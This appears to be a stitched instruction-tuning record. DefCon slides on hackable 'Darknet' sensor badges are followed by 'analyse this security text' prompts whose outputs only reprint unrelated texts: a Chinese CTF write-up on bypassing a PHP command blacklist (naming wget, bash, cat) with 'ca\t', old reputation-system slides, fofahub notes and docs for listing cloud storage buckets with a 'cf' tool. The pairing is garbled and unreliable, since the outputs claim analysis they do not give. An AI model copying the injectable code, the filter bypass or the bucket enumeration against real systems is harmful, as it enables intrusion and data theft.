The Darknet of Things Building Sensor Networks to do our bidding. Introductions Anch - anch@subba.net @boneheadsanon Omega - omega@omegacs.net The Internet of Things Things... No, Not your fridge. An Internet of things, not things on the Internet. Sensor Networks What are they What they (are supposed to) do What they are used for (usually) The Network part of Sensor Networks ZigBee (802.15.4) LowPower Wireless Network Advantages Limitations 6LowPan 802.15.4 (Yup, Runs on top of ZigBee MAC) IPv6 for Low Power Wireless Advantages Limitations So... What are we doing here... The Project Build a Darknet... of Things A darknet of things Something fun to build Hardware hacking taken to the next level build the largest free-roaming sensor network in the world. (DC21?!) A project for the community to work on Considerations NO ARDUINO Overdone People already know it (lets learn something new) Processors arent powerful enough. (to really do anything interesting) Considerations Must be HACKABLE People need to have fun with it. Modiﬁable, Changeable, Bendable. But still stable. Considerations Maintainable Fix shit if it b0rk3s. Shit happens. Considerations Must be a network of THINGS (Not things on a network) Wearable/Moveable. Pocketable. Considerations Must work outside of DefCon Needs to be able to work at home/hackerspaces Access-Points/Development boards available The Hardware Darknet Badges... Planned for DefCon 21 2 ARM Micro Processors (1 Main, 1 Network) USB (2 ports, host and client) 2.8 TFT Touch Screen 6LowPan Network Connectivity Battery Powered and Rechargable DarkNet Badges... HACKABLE JTAG Headers and Peripherals Available Hardware Schematics, Software ToolChain etc. Open and Available, and part of a project we are starting today.. More information later. DarkNet Badges... EXPANDABLE SDRAM Pads Available unused peripherals available Dev. Boards and APs Network only development boards Designed to be attached to your projects UART(s) exposed 1 x MC13224v USB + JTAG


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

从一道CTF的非预期解看PHP反斜杠匹配问题 前言 刷buuoj的时候遇到这样一个题做一半看到他这个正则写的有点问题就去翻wp 找到了官方的wp发现果然是个非预期 但是官方wp中并没有深入说明后来看到评论去翻出题人的博客也没找到相关的信息加上看到了其 他wp中一些不准确的说法所以今天就有了这篇文章来讲一讲自己的看法 正文 题目源码 前面md5碰撞已经是老套路了问题出在后面对shell命令的过滤上 熟悉php代码审计的同学应该都知道在preg_match中要过滤 \ 是需要四个 \\\\ 才可以达到目的原 理如下 <?php error_reporting(E_ALL || ~ E_NOTICE); header('content-type:text/html;charset=utf-8'); $cmd = $_GET['cmd']; if (!isset($_GET['img']) || !isset($_GET['cmd'])) header('Refresh:0;url=./index.php? img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd='); $file = hex2bin(base64_decode(base64_decode($_GET['img']))); $file = preg_replace("/[a-zA-Z0-9.]+/", "", $file); if (preg_match("/flag/i", $file)) { echo ''; die("xixi no flag"); } else { $txt = base64_encode(file_get_contents($file)); echo ""; echo "
"; } echo $cmd; echo "
"; if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bz more|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\? |\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[\d]|@|\||\\$|\[|\]|{|}|\(|\)|-| <|>/i", $cmd)) { echo("forbid ~"); echo "
"; } else { if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) { echo `$cmd`; } else { echo ("md5 is funny ~"); } } 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmo re|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\? |\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) { echo("forbid ~"); echo "
"; } 1 2 3 4 但是出题人似乎觉得不够又在后面加了四个反斜杠的匹配似乎本意是要过滤 \ 跟 \\  理论来说已经出现了四个 \\\\ 了但是为什么还会造成非预期 ca\t 这种解呢 我们本地测试一下 去掉其他的乱七八糟的东西只留下对于反斜杠等的过滤 可以看到虽然正则中有 \\\\ 但是却无法过滤到反斜杠 反向思考其原因应该是问题出在前面两个反斜杠的匹配部分 因为正则匹配中相当于要经过两层解析器解析一层是php的一层是正则表达式的所以此处前面的 两个反斜杠经过php解析器处理后应该是表示了一个转义号 \ 之后又与后面的表示逻辑或的 | 结合到 一起从而在正则表达式解析器中解析为 \| 又因为 | 是正则中的保留符号所以需要一个转义符来 转义所以最后的实现效果应为对于字符 | 的过滤 $str = '\/div'; $pattern = '/\\\\\/div/'; // '\\\\\/'


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Aura A peer-to-peer reputation system Cat Okita, 2003 Reputation Systems  What is a Reputation System?  Livejournal/Friendster, eBay, Advogato, Slashcode  Why do you care?  What could you use this for?  Establishing trust, performance metrics, meme propagation, spam filtering Challenges  Authentication  Trust  Non-repudiation Design Considerations  Fast, resource efficient  Secure - Difficult to corrupt information or impersonate others  Portable - Easy to use from any location  Simple to use and extend (plugins)  Independent - not dependant on a centralized server Attacks  Information poisoning  Flooding  Trojans  Identity theft  Impersonation  DoS Implementation  Peer-to-peer  Local datastore  Can also run as an aggregator  Reputation  overall personal and general, or by specific area  Gossip  information about indirect entities A quick check of Reputation  Picking a mailer  Stable, fast, secure?  Finding out about a poster to a mailing list  Credibility: Crazy, expert, unknown?  Filtering  Personal or server level Configuration  Text-based configuration  Use Templates to describe data format to exchange details  Requires use of public/private key cryptography Future Plans  Pretty GUI  Better cross-platform portability  Improved statistical reporting  Implementation of group keys  Trigger automation Finis  Available at:  http://www.geekness.net/tools/aura  Email to:  aura@geekness.net  Questions???


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

fofahub - 1 标签 地址 新增属性 fofahub 未开源 https://hub.fofa.info/ 因为想做个 bugbounty 资产平台所以体验了下 fofahub记录些觉得不错的式 体验 新建项  图标好像是动选取资产范围内的图标 资产导 输范围域名后它能返回资产信息 可能是根据 fofa 结果筛选 fofahub - 2 分析 fofahub - 3 较好的点是能通过分析的结果添加更多资产到资产追踪中例如从证书主域名中添加更多域名从根域名中添加域名 点击些详情后会使搜索语法到资产列表搜索 资产列表是以 ip 为维度域名什么的都是根据 ip 来的这样显示其实有点乱点击 ip跳到 ip 详情显示 ip 绑定的域名端 标题服务等等 fofahub - 4 作流 fofahub 资产收集是地基核是这个 workflow 有点类似 python 的积式编程 可以看到它其中的函数 数据源 资产仓库获取 fofa 获取 络请求 http 请求 渲染 dom 截图 添加 fofa 搜索 协议获取识别 应识别指纹识别 漏洞扫描 数据处理 格式化为 url 排序 去重 图章识别OCR 本分类 数据输出 mysql sqlite excel 输出到仓库 图表 fofahub - 5 胡乱拼了个 fofa 的 workflow就可以不受限的获取数据了 这个时候还没有部署 agent 学习&总结 workflow 动化编排使积式之前也到过使关系图使 docker 函数式编程的式技术上说不清孰好孰坏还是得看谁的户量 的多 像 nuclei 使 yaml 格式编写 poc当官仓库有够量了才能带动其他编写 但是他内置了 fofa来嫖应该不错 ~ 后再内置些其他的数据源加些域名爆破之类的信息收集段就会不错 资产管理 资产部分的数据应该都是来 fofa现在的 fofahub 就只是个展示的效果展示的也挺杂管理相关更没多少 柱状图 饼图 fofahub - 6


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

--- title: 列出存储桶里的对象 --- ## 列出存储桶里的对象 使用以下命令可以列出存储桶中的对象 ```bash cf alibaba oss obj ls ``` 如果想指定获取对象的数量可以使用 `-n` 或者 `--number` 参数 ```bash cf alibaba oss obj ls -n 100 ``` 在有些情况下当前 AK 可能会没有列出 Bucket 的权限如果你知道 Bucket 的名称可以使用 `-b` 指定 Bucket ```bash cf alibaba oss ls -b bucket_name ``` 这时可能会碰到没有获取 Bucket 区域的情况加上 `-r` 参数指定区域即可例如指定 cn-hangzhou ```bash cf alibaba oss ls -b bucket_name -r cn-hangzhou ``` <Vssue /> <script> export default { mounted () { this.$page.lastUpdated = "2022年10月12日" } } </script>